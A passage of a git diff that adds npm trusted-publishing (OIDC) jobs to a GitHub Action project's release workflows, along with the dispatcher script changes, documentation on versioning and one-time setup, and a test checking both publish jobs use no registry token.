${result.boundary}`); + break; + } + case "anchor-check": { + const result = anchorCheck(cwd); + console.error(`the release PR carries this cycle's anchor: ${result.boundary}`); + break; + } + case "advance-build": { + const result = advanceBuild({ + cwd, + sourceSha: env("GITHUB_SHA"), + runUrl: process.env.RUN_URL, + }); + console.error(result.reason); + break; + } + // The two subcommands whose result is their stdout: the workflow captures it. + case "prerelease-version": { + console.log( + prereleaseVersionOf({ cwd, sourceSha: env("GITHUB_SHA"), - runUrl: process.env.RUN_URL, - }); - console.error(result.reason); - break; - } - default: + runNumber: env("GITHUB_RUN_NUMBER"), + }), + ); + break; + } + case "npm-verdict": { + if (argument !== "next" && argument !== "stable") { throw new Error( - `unknown command ${JSON.stringify(command ?? null)}; expected package | retag-major | verify | anchor | boundary-check | anchor-check | advance-build`, + `npm-verdict takes the channel, next or stable, not ${JSON.stringify(argument ?? null)}`, ); + } + const verdict = await npmVerdict({ + cwd, + sourceSha: env("GITHUB_SHA"), + registry: process.env.NPM_REGISTRY_URL || DEFAULT_REGISTRY, + ...(argument === "next" + ? { channel: argument, runNumber: env("GITHUB_RUN_NUMBER") } + : { channel: argument, tag: env("TAG") }), + }); + console.log(verdict.publish ? `publish ${verdict.version}` : `skip ${verdict.reason}`); + break; } - } catch (error) { + default: + throw new Error( + `unknown command ${JSON.stringify(command ?? null)}; expected package | retag-major | verify | anchor | boundary-check | anchor-check | advance-build | prerelease-version | npm-verdict`, + ); + } +} + +if (import.meta.main) { + main().catch((error: unknown) => { console.error( - `release-pipeline ${command ?? ""}: ${error instanceof Error ? error.message : String(error)}`, + `release-pipeline ${process.argv[2] ?? ""}: ${error instanceof Error ? error.message : String(error)}`, ); process.exit(1); - } + }); } diff --git a/.github/workflows/post-green.yml b/.github/workflows/post-green.yml index b7cffe5a7..5bd1d5ca3 100644 --- a/.github/workflows/post-green.yml +++ b/.github/workflows/post-green.yml @@ -60,14 +60,115 @@ jobs: if: steps.token.outputs.proceed == 'true' with: bun-version-file: .bun-version - - name: Build the bundle + - name: Build the bundle and the library if: steps.token.outputs.proceed == 'true' run: | bun install --frozen-lockfile --ignore-scripts bun run build:bundle + bun run build:lib - name: Append this commit's packaged commit to build and point latest at the newest main source if: steps.token.outputs.proceed == 'true' env: SOURCE_SHA: ${{ inputs.sha }} RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} run: GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts advance-build + + # Publishes this green commit's library build to npm under the `next` + # dist-tag (release-pipeline.ts prerelease-version names the version) + # through trusted publishing: no registry token anywhere, provenance + # attached by npm. No permissions key, like build: a job asking for more + # than the caller's ceiling fails the whole call, so the OIDC grant arrives + # by inheritance from the id-token: write the managed ci.yml gives the + # post-green call. Where a caller grants none (a fork, a ceiling change), + # the runner sets no ACTIONS_ID_TOKEN_REQUEST_URL, and the first step + # warns and skips every later one instead of failing the hook. + # The lane: ci.yml keys main runs by sha, so two green pushes can publish + # at once, and the registry has no compare-and-set, so a verdict read here + # must still hold when its publish lands. Both npm publish jobs (this one + # and update-release.yml's) take the same lane; no caller holds it. A lane + # keeps ONE pending job by default and drops the rest, which would lose a + # queued publish (a cancelled job here also fails the post-green call); + # queue: max keeps every queued publish. The lane serializes, it does not + # order: GitHub does not promise which queued run goes first, which is why + # the verdict step reads the registry's dist-tags under the lane and skips + # a version that is not newer than what next or latest already name. + publish-next: + if: github.repository == 'Vivswan/github-settings-as-code' + concurrency: + group: npm-publish + queue: max + cancel-in-progress: false + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Check the caller grants an OIDC token + id: oidc + run: | + if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then + echo "proceed=true" >> "$GITHUB_OUTPUT" + else + echo "::warning::this run has no OIDC token (the post-green call in the managed ci.yml grants no id-token: write); the library pre-release was not published to npm." \ + "Add id-token: write to that call's permissions in Vivswan/repo-platform to publish every green push to @next." + echo "proceed=false" >> "$GITHUB_OUTPUT" + fi + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + if: steps.oidc.outputs.proceed == 'true' + with: + ref: ${{ inputs.sha }} + persist-credentials: false + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2.2.0 + if: steps.oidc.outputs.proceed == 'true' + with: + bun-version-file: .bun-version + # registry-url writes the .npmrc npm publishes through; with no + # NODE_AUTH_TOKEN the action leaves a placeholder there, which npm's + # OIDC exchange replaces. + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + if: steps.oidc.outputs.proceed == 'true' + with: + node-version: 24 + registry-url: https://registry.npmjs.org + # Trusted publishing (and its provenance) exists from npm 11.5.1 on; an + # older bundled npm is upgraded once, then held to the floor. + - name: Require an npm that publishes through OIDC + if: steps.oidc.outputs.proceed == 'true' + run: | + floor=11.5.1 + below_floor() { [ "$(printf '%s\n' "$floor" "$(npm --version)" | sort -V | head -n1)" != "$floor" ]; } + if below_floor; then + npm install -g npm@latest + fi + if below_floor; then + echo "::error::npm $(npm --version) cannot publish through OIDC; trusted publishing needs npm $floor or newer." + exit 1 + fi + - name: Build the library + if: steps.oidc.outputs.proceed == 'true' + run: | + bun install --frozen-lockfile --ignore-scripts + bun run build:lib + # scripts.prepare is dropped from the published manifest: it installs + # lefthook, a devDependency the tarball does not carry, and npm blocks + # install scripts from a provenance-attested package anyway. + # The verdict reads the registry: a version already there (a rerun of + # this run) or a next or latest that is not older (a stale retry after + # newer runs published) publishes nothing, so next never moves back; a + # registry error stops the job instead of publishing blind. npm's + # provenance names the commit in GITHUB_SHA, so the source is passed in. + - name: Publish the pre-release under the next dist-tag + if: steps.oidc.outputs.proceed == 'true' + env: + SOURCE_SHA: ${{ inputs.sha }} + run: | + verdict="$(GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts npm-verdict next)" + case "$verdict" in + publish\ *) + npm version "${verdict#publish }" --no-git-tag-version + npm pkg delete scripts.prepare + GITHUB_SHA="$SOURCE_SHA" npm publish --tag next ;; + skip\ *) echo "::notice::${verdict#skip }" ;; + *) + echo "unexpected npm-verdict output: $verdict" + echo "::error::npm-verdict printed neither publish nor skip; see the line above." + exit 1 ;; + esac diff --git a/.github/workflows/update-release.yml b/.github/workflows/update-release.yml index 01a789b21..949db1154 100644 --- a/.github/workflows/update-release.yml +++ b/.github/workflows/update-release.yml @@ -7,14 +7,15 @@ # package -> find or append the build commit whose source is the merge commit, mint vX.Y.Z there ONCE, reconcile latest # retag-major -> force-move vX there, then upload bundle and schema to the draft (a published release freezes its assets) # verify -> confirm origin's refs and the draft's assets; the managed publish stage then attests and flips the release live +# publish-npm -> publish the library build to npm as the stable version through trusted publishing, once the refs check out # # Only ci.yml reaches this workflow, with the tag release-please just cut from its own merged PR, so a hand-edited -# manifest never mints a tag. A rerun converges while this release is its line's newest; once a NEWER release -# shipped, the major move stops by design. +# manifest never mints a tag. A rerun converges while this release is its line's newest (a version npm already holds +# is skipped); once a NEWER release shipped, the major move stops by design. -# Finishing a dead run by hand (prefer re-running its FAILED jobs: a hand run has no attestation.json, and a chain -# commit it appends carries no run trailer). NEVER publish before `package` has minted the tag: a tagless draft makes -# GitHub create vX.Y.Z lazily at the bundle-less merge commit on main. +# Finishing a dead run by hand (prefer re-running its FAILED jobs: a hand run has no attestation.json, a chain commit +# it appends carries no run trailer, and the npm publish has no hand path at all, only the workflow's OIDC identity may +# publish). NEVER publish before `package` has minted the tag: a tagless draft makes GitHub create vX.Y.Z lazily on main. # git checkout (the draft's target commitish) # bun install --frozen-lockfile --ignore-scripts && bun run build # TAG=vX.Y.Z GITHUB_SHA= bun .github/scripts/release-pipeline.ts package @@ -104,7 +105,7 @@ jobs: - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2.2.0 with: bun-version-file: .bun-version - - name: Confirm the published refs carry the bundle + - name: Confirm the published refs carry the build outputs env: TAG: ${{ inputs.tag }} SOURCE_SHA: ${{ needs.package-release.outputs.source-sha }} @@ -128,3 +129,81 @@ jobs: echo "::error::release $TAG carries assets [$assets], expected [$expected]; re-run package-release before anything publishes." exit 1 fi + + # Publishes the release's library build to npm as the stable version through trusted publishing: no registry + # token, provenance attached by npm. Behind verify-release, so nothing reaches the registry before origin's refs + # check out. Until the owner's one-time npm setup exists this job fails and holds the draft; a rerun converges. + # package-release sits in needs for its output alone (a job reads outputs only from its direct dependencies). + # The lane is the one post-green.yml's publish-next takes: the registry has no compare-and-set, so the two + # publishers never overlap and a verdict still holds when its publish lands; queue: max keeps every queued + # publish (a lane drops all but one pending job by default). + publish-npm: + if: github.repository == 'Vivswan/github-settings-as-code' + needs: [package-release, verify-release] + concurrency: + group: npm-publish + queue: max + cancel-in-progress: false + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: read + id-token: write + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ needs.package-release.outputs.source-sha }} + persist-credentials: false + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2.2.0 + with: + bun-version-file: .bun-version + # registry-url writes the .npmrc npm publishes through; with no + # NODE_AUTH_TOKEN the action leaves a placeholder there, which npm's + # OIDC exchange replaces. + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: 24 + registry-url: https://registry.npmjs.org + # Trusted publishing (and its provenance) exists from npm 11.5.1 on; an + # older bundled npm is upgraded once, then held to the floor. + - name: Require an npm that publishes through OIDC + run: | + floor=11.5.1 + below_floor() { [ "$(printf '%s\n' "$floor" "$(npm --version)" | sort -V | head -n1)" != "$floor" ]; } + if below_floor; then + npm install -g npm@latest + fi + if below_floor; then + echo "::error::npm $(npm --version) cannot publish through OIDC; trusted publishing needs npm $floor or newer." + exit 1 + fi + - name: Build the library + run: | + bun install --frozen-lockfile --ignore-scripts + bun run build:lib + # scripts.prepare is dropped from the published manifest, as in + # post-green.yml's publish-next. + # The verdict holds the built package.json to the tag and reads the + # registry: a version already there (a rerun) or a latest that is a + # newer release (an older release's job rerun after a newer release) + # publishes nothing, so no release ever displaces a newer one from + # latest (a pre-release there, the bootstrap's, is taken over). GITHUB_SHA on the + # publish line sets only the SLSA predicate's source digest; the + # sigstore certificate still carries this run's own head, so a release + # recovered by a newer push's run has provenance naming two commits. + - name: Publish the release to npm + env: + TAG: ${{ inputs.tag }} + SOURCE_SHA: ${{ needs.package-release.outputs.source-sha }} + run: | + verdict="$(GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts npm-verdict stable)" + case "$verdict" in + publish\ *) + npm pkg delete scripts.prepare + GITHUB_SHA="$SOURCE_SHA" npm publish ;; + skip\ *) echo "::warning::${verdict#skip }" ;; + *) + echo "unexpected npm-verdict output: $verdict" + echo "::error::npm-verdict printed neither publish nor skip; see the line above." + exit 1 ;; + esac diff --git a/AGENTS.md b/AGENTS.md index 2e77dcc72..8c1ff2bf3 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -46,4 +46,4 @@ GitHub Settings as Code: GitHub Action applying declarative repository settings: - Scenarios must run green via `bun run test:e2e` before they land. The diff-aware selector (`.github/scripts/changed-sections.ts`) maps a PR's changed files to the sections its e2e smoke job runs: a path's first segment under `src/sections/` selects its section (`src/sections//...` selects ``, whatever the file), `shared/` files fan out to the sections that import them (derived from the import graph, so a new import edge selects its section automatically), and `registry.ts` plus the cross-cutting prefixes (`contract/`, the engine, the schema, the harness, the CI scripts) select every section. An unrecognized `src/sections/` path throws, so a new file cannot silently skip the smoke job. - SCOPE CONVENTION: a flat `src/sections//` directory means repository scope, permanently. Org/user settings arrive as sibling scope directories (`src/sections/org//`) with their own document/SECTION_KEYS/registry triples, composed from their own slices the same way. Bare `${section}.${role}` keys stay repo-scope and other scopes get scope-prefixed keys - the ":" reservation assert in `src/sections/registry.ts` documents this - and the future `SectionPermission` union must keep today's `{repo: [...], org?: ...}` object literal valid verbatim as its repo arm. - `src/upstream-gaps/` holds one file per GitHub feature an upstream artifact lags: octokit-kind gaps (routes @octokit/types does not type yet; a tripwire fails typecheck naming the file when octokit catches up) and spec-only gaps (octokit has the types, the pinned OpenAPI descriptor lacks the paths). The auto-fix workflow graduates octokit-kind gaps automatically (delete or rewrite-to-spec-only); spec-only gaps retire by hand when UPSTREAM_REF moves. index.ts is GENERATED (bun .github/scripts/gen-gaps-index.ts); mechanics in gap.ts. -- The `release` job in ci.yml is deliberately NOT in all-green's `needs`: it runs downstream of the gate (ci.yml calls the fleet's release workflow, fleet-release.yml, via workflow_call), so releases and release-PR refreshes only happen on a green main. Do not add it to the needs list. The packaged-ref scheme rides the managed pipeline through four repo-owned pieces: `post-green.yml` appends a green main commit's packaged commit (its tree minus workflows plus the built bundle, its source in a Source trailer; parented on the previous chain tip, or a root while the chain does not exist yet) to the `build` branch when its token can push, the release hook appends the release's when post-green did not, and both point the `latest` tag at the chain commit of the newest main source; `update-release.yml` (the hook the managed pipeline calls on a release cut) finds the `build` commit whose source is the merge commit (appending it when post-green could not), mints the `vX.Y.Z` tag there, and reconciles `latest` to the chain commit of the newest main source - `release-please-config.json` pins the fleet's `force-tag-creation` off, so no tag ever lands on main - while `checks.yml`'s boundary-check job and the anchor in `update-release-pr.yml` (the release-PR hook the managed pipeline calls on every release-PR refresh) keep `last-release-sha` fresh (version tags live off main, so release-please's boundary is recorded config, not a tag lookup). The git topology lives in `.github/scripts/release-pipeline.ts`, unit-tested in test/scripts/release-pipeline.test.ts. +- The `release` job in ci.yml is deliberately NOT in all-green's `needs`: it runs downstream of the gate (ci.yml calls the fleet's release workflow, fleet-release.yml, via workflow_call), so releases and release-PR refreshes only happen on a green main. Do not add it to the needs list. The packaged-ref scheme rides the managed pipeline through four repo-owned pieces: `post-green.yml` appends a green main commit's packaged commit (its tree minus workflows plus the build outputs `lib/index.js` and `lib/pkg/`, its source in a Source trailer; parented on the previous chain tip, or a root while the chain does not exist yet) to the `build` branch when its token can push, the release hook appends the release's when post-green did not, and both point the `latest` tag at the chain commit of the newest main source; `update-release.yml` (the hook the managed pipeline calls on a release cut) finds the `build` commit whose source is the merge commit (appending it when post-green could not), mints the `vX.Y.Z` tag there, and reconciles `latest` to the chain commit of the newest main source - `release-please-config.json` pins the fleet's `force-tag-creation` off, so no tag ever lands on main - while `checks.yml`'s boundary-check job and the anchor in `update-release-pr.yml` (the release-PR hook the managed pipeline calls on every release-PR refresh) keep `last-release-sha` fresh (version tags live off main, so release-please's boundary is recorded config, not a tag lookup). The npm package publishes from the same two hooks (`publish-next`, `publish-npm`) through trusted publishing; docs/reference/library.md states the versioning rules. The git topology lives in `.github/scripts/release-pipeline.ts`, unit-tested in test/scripts/release-pipeline.test.ts; the publish jobs' shape in test/docs/post-green-workflow.test.ts and test/docs/npm-publish-workflows.test.ts. diff --git a/README.md b/README.md index 1904aee44..3f1657500 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ The [getting started guide](docs/start/getting-started.md) walks the same steps ## Library -The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. It is built from this repository with `bun run build:lib`; the [library reference](docs/reference/library.md) has the API by group. +The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. Every green push to `main` publishes a pre-release: `npm install @vivswan/github-settings-as-code@next` (or `bun add`). The plain `npm install @vivswan/github-settings-as-code` gives the released version once one exists, and the bootstrap pre-release until then. The [library reference](docs/reference/library.md) has the API by group and the versioning rules. The package is also a command: `npx @vivswan/github-settings-as-code@next check --repository o/r --settings-file .github/settings.yml` runs the action's check from a terminal; the [command line guide](docs/start/cli.md) has every command. diff --git a/docs/reference/library.md b/docs/reference/library.md index 6a1622ba1..1f4b84a98 100644 --- a/docs/reference/library.md +++ b/docs/reference/library.md @@ -8,14 +8,15 @@ The engine behind the action is also an npm package, `@vivswan/github-settings-a ## Install -The package is built from this repository: +Three ways in, one package: ```bash -bun install -bun run build:lib +npm install @vivswan/github-settings-as-code # the released version (npm dist-tag latest) +npm install @vivswan/github-settings-as-code@next # the newest green main commit, a pre-release +npm install github:Vivswan/github-settings-as-code# # one packaged commit of the build branch ``` -That writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at. Installing from npm or from a packaged commit of the `build` branch arrives with the publishing change. +`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.412.gb8df084`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, so nothing is built on your side. Older packaged commits, and the tags cut from them (v2.0.0 and earlier), carry the action bundle alone. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at. The package exports three paths: the entry (`.`), the committed settings.yml JSON Schema (`./settings.schema.json`), and its own manifest (`./package.json`). @@ -164,11 +165,34 @@ and `validate` and `permissions` read a settings file alone. The [command line g The package and the action share one version, the one in `.release-please-manifest.json` (release-please rewrites `package.json` from it), so a settings file that validates on the library validates on the action of the same version. +| npm dist-tag | Publishes on | Version | Install | +|---|---|---|---| +| `next` | Every green push to `main` | The manifest's next patch, then `-main..g`: `2.0.1-main.412.gb8df084` | `npm install @vivswan/github-settings-as-code@next` | +| `latest` | Every release cut | The released version: `2.1.0`. Until the first release it names the bootstrap pre-release, which npm tags `latest` as a package's first publish | `npm install @vivswan/github-settings-as-code` | +| none | Every packaged commit on the `build` branch since the library joined it | The commit itself | `npm install github:Vivswan/github-settings-as-code#` | + +The npm dist-tag `latest` is not the git tag `latest`: the git tag names the newest packaged commit on the `build` branch (every green push moves it), the dist-tag names the newest release on the registry. + +- A pre-release sorts above the last release and below the next one whatever its bump, and later runs sort later: run numbers only grow, and the sha makes each run's version its own. The one pre-release that sorts above a release is the release merge commit's own: its manifest already carries the new version, so `next` moves to `2.1.1-main..g` in the same run that publishes `2.1.0`, which is the order the two channels are meant to keep (next above latest). +- The `g` before the short sha marks a git object id, as `git describe` writes it; a bare all-digit sha such as `0123456` would be read by npm as the number 123456. +- `next` publishes nothing when its version is already on the registry (a rerun of that run) or when the dist-tag `next` or `latest` already names a version that is not older (a retry of an old run after newer ones published, or after a release). `latest` publishes nothing when the version is already there or when the dist-tag `latest` names a newer release (a rerun of an older release's job); it does not look at `next`. Neither dist-tag ever moves backward. +- Both channels publish through npm trusted publishing (OIDC) from this repository's CI workflow: no registry token exists anywhere, and npm attaches a provenance attestation to every version CI publishes, which `npm audit signatures` checks in a project that installs it. The one hand-published version is the bootstrap pre-release below, recognizable by its run number 0. +- The `github:` form installs a packaged commit's `lib/pkg/`, built from its source commit by the same workflow run that built its `lib/index.js`, with no registry and no build step on your side. + ## One-time publishing setup -For the owner, once. npm adds a trusted publisher only to a package that already exists, so the first version is published by hand from a maintainer machine with two-factor authentication. The bootstrap version is a pre-release published under the `next` dist-tag, so no `latest` exists before the first stable release; the exact version command lands with the publishing workflow. +For the owner, once. npm adds a trusted publisher only to a package that already exists, so the first version is published by hand from a maintainer machine with two-factor authentication; it is the only publish a person ever makes. + +1. From a clean checkout of `main`, build the library (the tarball ships `lib/pkg/`, which is built, not committed), stamp the bootstrap pre-release version, and publish it under `next`, never `latest` by request: + +```bash +bun install --frozen-lockfile && bun run build:lib +version="$(GITHUB_SHA="$(git rev-parse HEAD)" GITHUB_RUN_NUMBER=0 bun .github/scripts/release-pipeline.ts prerelease-version)" +npm version "$version" --no-git-tag-version && npm publish --access public --tag next +git checkout package.json +``` + +2. On npmjs.com, on the package's settings page, add a trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml` (the caller of both hooks), no environment. +3. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. -1. Build the library: `bun run build:lib` (the tarball ships `lib/pkg/`, which is built, not committed). -2. Publish the pre-release under `next`, never `latest`: `npm publish --access public --tag next`. -3. On npmjs.com, on the package's settings page, add a trusted publisher: type GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml`, no environment. -4. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. +Until step 2 is done, the release hook's `publish-npm` job fails and the GitHub release stays a draft, and `publish-next` fails the same way on the next green push; re-run the failed jobs once the publisher exists. diff --git a/docs/upgrading/README.md b/docs/upgrading/README.md index 14878d6c0..f6742741b 100644 --- a/docs/upgrading/README.md +++ b/docs/upgrading/README.md @@ -14,7 +14,7 @@ One page per major version. A major is the only release that can change what an | `@vX.Y.Z` | Never | Byte-stable behavior; upgrade deliberately | | A commit SHA | Never | The same, for repositories that pin actions by digest | -Every version tag points at a packaged commit carrying the built action. Its parent is the audited release commit on `main`, and a ruleset freezes the tag. Only the latest release is supported; fixes are not backported. +Every version tag points at a packaged commit carrying the built action; tags cut after the library joined the packaged branch also carry the library build (`lib/pkg/`, what the npm package of the same version ships), and v2.0.0 and earlier carry the action bundle alone. Its parent is the audited release commit on `main`, and a ruleset freezes the tag. Only the latest release is supported; fixes are not backported. ## The guides diff --git a/test/docs/npm-publish-workflows.test.ts b/test/docs/npm-publish-workflows.test.ts new file mode 100644 index 000000000..7738de0f6 --- /dev/null +++ b/test/docs/npm-publish-workflows.test.ts @@ -0,0 +1,467 @@ +/** + * The two npm publish jobs (post-green.yml's publish-next, update-release.yml's + * publish-npm) share one contract, trusted publishing through the runner's OIDC + * token and nothing else, and one was copied from the other, so a fix to the + * shared steps must reach both. The probe, the floor guard, and the publish + * blocks also run under bash against stubs: the pin alone cannot show what a + * branch does. + */ + +import { describe, expect, test } from "bun:test"; +import { execFileSync } from "node:child_process"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { parse as parseYaml } from "yaml"; + +const ROOT = join(import.meta.dir, "..", ".."); + +interface Step { + name?: string; + id?: string; + uses?: string; + if?: string; + run?: string; + env?: Record; + with?: Record; +} +interface Job { + if?: string; + needs?: string[]; + concurrency?: { group?: string; queue?: string; "cancel-in-progress"?: boolean }; + permissions?: Record; + steps: Step[]; +} +interface Workflow { + jobs: Record; +} + +function workflow(file: string): Workflow { + return parseYaml(readFileSync(join(ROOT, ".github", "workflows", file), "utf8")) as Workflow; +} + +function must(value: T | undefined, what: string): T { + if (value === undefined) throw new Error(`no ${what}`); + return value; +} + +/** Every string a step hands the runner beyond its script: env values, with values, the gate. */ +function stepInputs(step: Step): string[] { + return [ + ...Object.values(step.env ?? {}), + ...Object.values(step.with ?? {}).map(String), + step.if ?? "", + ]; +} + +const stepNamed = (job: Job, name: string): Step => + must( + job.steps.find((step) => step.name === name), + `step ${name}`, + ); +const setupNode = (job: Job): Step => + must( + job.steps.find((step) => step.uses?.startsWith("actions/setup-node@")), + "setup-node step", + ); + +interface Contract { + /** The stable job's ceiling: read the source, mint the OIDC token, nothing else. */ + stablePermissions: Record | undefined; + /** publish-next declares no ceiling: it inherits the caller's id-token grant (a ceiling of its own would fail the call). */ + nextPermissions: Record | undefined; + /** Both jobs run only in this repository: a fork has no trusted publisher and must not try. */ + repositoryGuards: [string | undefined, string | undefined]; + /** Both jobs take one lane: the registry has no compare-and-set, so a verdict must still hold when its publish lands. */ + lanes: [unknown, unknown]; + stableNeeds: string[]; + /** Steps of publish-next after the probe that are not gated on it. */ + ungatedNextSteps: string[]; + /** Any env, with, or gate value in either job naming a secret or a registry token. */ + tokenInputs: string[]; + /** Whether the two floor guards and the two library builds are the same text. */ + sameFloor: boolean; + sameBuild: boolean; + /** Both setup-node steps' registry, and whether either carries an env of its own. */ + registries: unknown[]; + setupNodeEnvs: unknown[]; + /** The npm lines of each publish step: scripts.prepare leaves the manifest, then the one publish, the source sha reaching npm's provenance and the dist-tag the channel's. */ + publishCommands: [string[], string[]]; +} + +const OIDC_GATE = "steps.oidc.outputs.proceed == 'true'"; +const EXPECTED: Contract = { + stablePermissions: { contents: "read", "id-token": "write" }, + nextPermissions: undefined, + repositoryGuards: [ + "github.repository == 'Vivswan/github-settings-as-code'", + "github.repository == 'Vivswan/github-settings-as-code'", + ], + lanes: [ + { group: "npm-publish", queue: "max", "cancel-in-progress": false }, + { group: "npm-publish", queue: "max", "cancel-in-progress": false }, + ], + stableNeeds: ["package-release", "verify-release"], + ungatedNextSteps: [], + tokenInputs: [], + sameFloor: true, + sameBuild: true, + registries: ["https://registry.npmjs.org", "https://registry.npmjs.org"], + setupNodeEnvs: [undefined, undefined], + publishCommands: [ + ["npm pkg delete scripts.prepare", 'GITHUB_SHA="$SOURCE_SHA" npm publish --tag next ;;'], + ["npm pkg delete scripts.prepare", 'GITHUB_SHA="$SOURCE_SHA" npm publish ;;'], + ], +}; + +function contractOf(next: Job, stable: Job): Contract { + const probe = next.steps.findIndex((step) => step.id === "oidc"); + if (probe < 0) throw new Error("publish-next has no oidc probe"); + const publishLines = (step: Step): string[] => + (step.run ?? "") + .split("\n") + .map((line) => line.trim()) + .filter((line) => /\bnpm (?:publish|pkg delete)\b/.test(line)); + return { + stablePermissions: stable.permissions, + nextPermissions: next.permissions, + repositoryGuards: [next.if, stable.if], + lanes: [next.concurrency, stable.concurrency], + stableNeeds: [...(stable.needs ?? [])].sort(), + ungatedNextSteps: next.steps + .slice(probe + 1) + .filter((step) => step.if !== OIDC_GATE) + .map((step) => step.name ?? step.uses ?? ""), + tokenInputs: [...next.steps, ...stable.steps] + .flatMap(stepInputs) + .filter((value) => /secrets\.|NODE_AUTH_TOKEN|NPM_TOKEN/.test(value)), + sameFloor: + stepNamed(next, "Require an npm that publishes through OIDC").run === + stepNamed(stable, "Require an npm that publishes through OIDC").run, + sameBuild: + stepNamed(next, "Build the library").run === stepNamed(stable, "Build the library").run, + registries: [setupNode(next).with?.["registry-url"], setupNode(stable).with?.["registry-url"]], + setupNodeEnvs: [setupNode(next).env, setupNode(stable).env], + publishCommands: [ + publishLines(stepNamed(next, "Publish the pre-release under the next dist-tag")), + publishLines(stepNamed(stable, "Publish the release to npm")), + ], + }; +} + +describe("the npm publish jobs", () => { + const postGreen = workflow("post-green.yml"); + const updateRelease = workflow("update-release.yml"); + const next = must(postGreen.jobs["publish-next"], "publish-next job"); + const stable = must(updateRelease.jobs["publish-npm"], "publish-npm job"); + + test("both publish through OIDC alone, with the same guard and build, and publish-next skips whole without a token", () => { + expect(contractOf(next, stable)).toEqual(EXPECTED); + }); + + const REGRESSIONS: Array<[string, (next: Job, stable: Job) => void, keyof Contract]> = [ + [ + "a stable publish without the OIDC grant", + (_next, stable) => (stable.permissions = { contents: "read" }), + "stablePermissions", + ], + [ + "a stable publish with a ceiling beyond its two grants", + (_next, stable) => (stable.permissions = { ...stable.permissions, contents: "write" }), + "stablePermissions", + ], + [ + "a pre-release publish with a ceiling of its own, which the caller's rejects as a whole", + (next) => (next.permissions = { contents: "read", "id-token": "write" }), + "nextPermissions", + ], + ["a stable publish open to forks", (_next, stable) => delete stable.if, "repositoryGuards"], + ["a pre-release publish open to forks", (next) => delete next.if, "repositoryGuards"], + [ + "a stable publish outside the shared lane, free to overlap a pre-release publish", + (_next, stable) => delete stable.concurrency, + "lanes", + ], + [ + "a pre-release publish on a lane of its own", + (next) => (next.concurrency = { ...next.concurrency, group: "publish-next" }), + "lanes", + ], + [ + "a lane that keeps one pending publish and drops the rest", + (_next, stable) => delete stable.concurrency?.queue, + "lanes", + ], + [ + "a lane pairing queue: max with cancel-in-progress, which GitHub rejects at validation", + (next) => (next.concurrency = { ...next.concurrency, "cancel-in-progress": true }), + "lanes", + ], + [ + "a stable publish ahead of the ref verification", + (_next, stable) => (stable.needs = ["package-release"]), + "stableNeeds", + ], + [ + "a pre-release step that runs without the OIDC gate", + (next) => (must(next.steps.at(-1), "publish step").if = undefined), + "ungatedNextSteps", + ], + [ + "a registry token handed to npm through the environment", + (_next, stable) => + (must(stable.steps.at(-1), "publish step").env = { + NODE_AUTH_TOKEN: `\${{ secrets.NPM_TOKEN }}`, + }), + "tokenInputs", + ], + [ + "a registry token handed to setup-node", + (next) => (setupNode(next).env = { NODE_AUTH_TOKEN: `\${{ secrets.NPM_TOKEN }}` }), + "tokenInputs", + ], + [ + "a floor guard fixed in one job only", + (next) => { + const guard = stepNamed(next, "Require an npm that publishes through OIDC"); + guard.run = guard.run?.replace("11.5.1", "11.6.0"); + }, + "sameFloor", + ], + [ + "a library build that diverged between the jobs", + (_next, stable) => { + const build = stepNamed(stable, "Build the library"); + build.run = build.run?.replace("--ignore-scripts", ""); + }, + "sameBuild", + ], + [ + "a setup-node without the registry the trusted publisher is configured on", + (_next, stable) => delete setupNode(stable).with?.["registry-url"], + "registries", + ], + [ + "a pre-release published under the default dist-tag", + (next) => { + const step = must(next.steps.at(-1), "publish step"); + step.run = step.run?.replace("npm publish --tag next ;;", "npm publish ;;"); + }, + "publishCommands", + ], + [ + "a stable publish that ships scripts.prepare (lefthook is not in the tarball, and npm blocks install scripts)", + (_next, stable) => { + const step = must(stable.steps.at(-1), "publish step"); + step.run = step.run?.replace("npm pkg delete scripts.prepare\n", ""); + }, + "publishCommands", + ], + [ + "a publish whose provenance names this run's head instead of the source", + (_next, stable) => { + const step = must(stable.steps.at(-1), "publish step"); + step.run = step.run?.replace('GITHUB_SHA="$SOURCE_SHA" npm publish ;;', "npm publish ;;"); + }, + "publishCommands", + ], + ]; + test.each(REGRESSIONS)("catches %s (negative 